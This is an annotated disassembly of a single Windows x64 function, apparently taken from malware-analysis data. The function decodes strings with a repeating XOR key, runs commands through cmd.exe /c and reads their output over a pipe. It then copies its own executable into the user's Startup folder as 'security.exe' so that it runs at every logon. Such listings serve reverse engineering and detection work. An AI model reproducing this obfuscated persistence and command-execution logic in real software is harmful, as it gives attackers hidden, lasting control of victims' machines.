Function at 0x1400021f0
Capabilities:
Create pipe
Create process on windows
Get common file path
Get comspec environment variable
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r13
push r15
lea rbp, [rsp - 0x1520]
mov eax, 0x1620
call fcn.140004490
sub rsp, rax
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1510], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.GetUserNameA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r13d, r13d
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], 0x18
mov qword [rsp + 0x70], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rax
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x510]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x50], r13d
mov r12d, 0x200
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x200]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x68], r13
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rbp - 0x44], 0x101
mov word [rbp - 0x40], r13w
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov eax, dword [str.til_om]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x140005634]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x140005636]
mov byte [rbp + 0xf6], al
xor edx, edx
mov r8d, 0xfd
lea rcx, [rbp + 0xf7]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], recv
mov byte [rbp + 0x58], r13b
lea rax, [rbp + 0xf0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140002360
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x58]
call fcn.140003320
nop
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0xa0], 2
mov dword [rbp + 0xa4], 4
mov r10d, r13d
mov r8, r13
movsxd rbx, dword [rbp + 0x68]
test rbx, rbx
jle 0x140002406
nop dword [rax]
lea rax, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
jb 0x1400023c5
mov r9, qword [rbp + 0x58]
lea r11, [r8 + r9]
jmp 0x1400023cd
lea r11, [rax + r8]
lea r9, [rbp + 0x58]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r10d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x90]
xor cl, byte [r11]
mov byte [r8 + r9], cl
inc r10d
inc r8
cmp r8, rbx
jl 0x1400023b0
lea rbx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
jb 0x14000242b
mov rbx, qword [rbp + 0x58]
test rbx, rbx
jne 0x14000242b
lea rcx, str.NULLww_n
call fcn.140001040
jmp 0x1400024ef
mov r8d, r12d
lea rdx, [rbp + 0x200]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140002483
mov edx, r12d
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x200]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002460
mov rdx, r12
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rax, rdi
inc rax
cmp byte [rbx + rax], 0
jne 0x140002486
test eax, eax
je 0x1400024ef
lea rcx, [rbp + 0x200]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400024a0
mov rdx, r12
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x200]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400024d0
mov rdx, r12
sub rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x510]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], recv
mov byte [rbp + 0x30], 0
lea rax, [rbp + 0x510]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002570
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x30]
call fcn.140003320
nop
lea rbx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
setae r15b
cmovae rbx, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x40]
test rsi, rsi
je 0x140002632
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x148], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x14d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x14c], 1
lea rax, [rsi - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xf0], 0
jne 0x14000262d
cmp rcx, rbx
je 0x140002632
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xf0], 0
je 0x140002618
sub rcx, rbx
jmp 0x140002635
mov rcx, rdi
inc rcx
mov qword [rbp + 0x90], r13
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], recv
cmp rsi, rcx
jb 0x140002ce3
sub rsi, rcx
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
lea rdx, [rbp + 0x30]
test r15b, r15b
cmovne rdx, qword [rbp + 0x30]
add rdx, rcx
lea rcx, [rbp + 0x90]
call fcn.140003320
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400026bd
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c06
call fcn.140003660
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rbp + 0xa0]
movups xmmword [rbp + 0x40], xmm1
mov qword [rbp - 0x10], r13
mov qword [rbp], r13
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
xor r8d, r8d
lea rdx, [0x1400054e8]
lea rcx, [rbp - 0x10]
call fcn.140003320
nop
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140002742
lea rax, [rcx + 9]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x140002760
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
mov edx, 9
lea rcx, [rbp - 0x10]
call fcn.1400034a0
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r9, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x40]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400027b1
lea rax, [rsi + rcx]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x1400027c2
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1400034a0
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 0x4b
jb 0x140002809
lea rax, [rcx + 0x4b]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 0x4b
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_security.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x4b], 0
jmp 0x140002827
mov qword [rsp + 0x20], 0x4b
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_security.exe
mov edx, 0x4b
lea rcx, [rbp - 0x10]
call fcn.1400034a0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [0x140005580]
call fcn.140001040
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x400]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xe0], ax
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r9, qword [rbp - 0x10]
lea r8, [rbp + 0x400]
lea rdx, str.copy___s____s_
lea rcx, [rbp + 0xb0]
call fcn.1400010a0
lea rax, [rbp + 0xb0]
mov rcx, rdi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400028c0
mov eax, 4
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.1400038f4
mov rsi, rax
mov rcx, r13
lea rdx, [rbp + 0xb0]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rdx + rax], cl
jne 0x1400028f0
test rax, rax
je 0x14000291e
nop dword [rax]
mov dword [rsi + rcx*4], ecx
inc rcx
lea rdx, [rbp + 0xb0]
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x140002910
cmp rcx, rax
jb 0x140002900
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], recv
lea rax, [rbp + 0xb0]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002940
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x10]
call fcn.140003320
mov r11d, r13d
mov r8, r13
movsxd rbx, dword [rbp + 0x20]
test rbx, rbx
jle 0x1400029c2
nop dword [rax]
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
jb 0x140002985
mov r9, qword [rbp + 0x10]
lea r10, [r8 + r9]
jmp 0x14000298d
lea r10, [rax + r8]
lea r9, [rbp + 0x10]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rsi + rax*4]
xor cl, byte [r10]
mov byte [r9 + r8], cl
inc r11d
inc r8
cmp r8, rbx
jl 0x140002970
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
lea rcx, [0x140005580]
call fcn.140001040
mov r11d, r13d
mov r8, r13
movsxd rbx, dword [rbp + 0x20]
test rbx, rbx
jle 0x140002a42
nop dword [rax + rax]
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
jb 0x140002a05
mov r9, qword [rbp + 0x10]
lea r10, [r9 + r8]
jmp 0x140002a0d
lea r10, [rax + r8]
lea r9, [rbp + 0x10]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rsi + rax*4]
xor cl, byte [r10]
mov byte [r8 + r9], cl
inc r11d
inc r8
cmp r8, rbx
jl 0x1400029f0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
lea rcx, [0x140005580]
call fcn.140001040
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
jb 0x140002a81
mov rbx, qword [rbp + 0x10]
test rbx, rbx
jne 0x140002a81
lea rcx, str.NULLww_n
call fcn.140001040
jmp 0x140002b40
mov r8d, r12d
lea rdx, [rbp + 0x200]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140002ad9
mov edx, r12d
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x200]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002ab6
mov rdx, r12
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140002ae0
test eax, eax
je 0x140002b40
lea rcx, [rbp + 0x200]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002af7
mov rdx, r12
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x200]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002b21
sub r12, rdi
mov r8, rbx
mov rdx, r12
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rsi
call fcn.140003660
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140002bc4
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], recv
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140002c12
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov qword [rbp], r13
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140002c60
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], recv
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140002cae
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ca9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ca9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov eax, 1
mov rcx, qword [rbp + 0x1510]
xor rcx, rsp
call fcn.140003640
lea r11, [rsp + 0x1620]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop rbp
ret
call fcn.140003480
nop
int3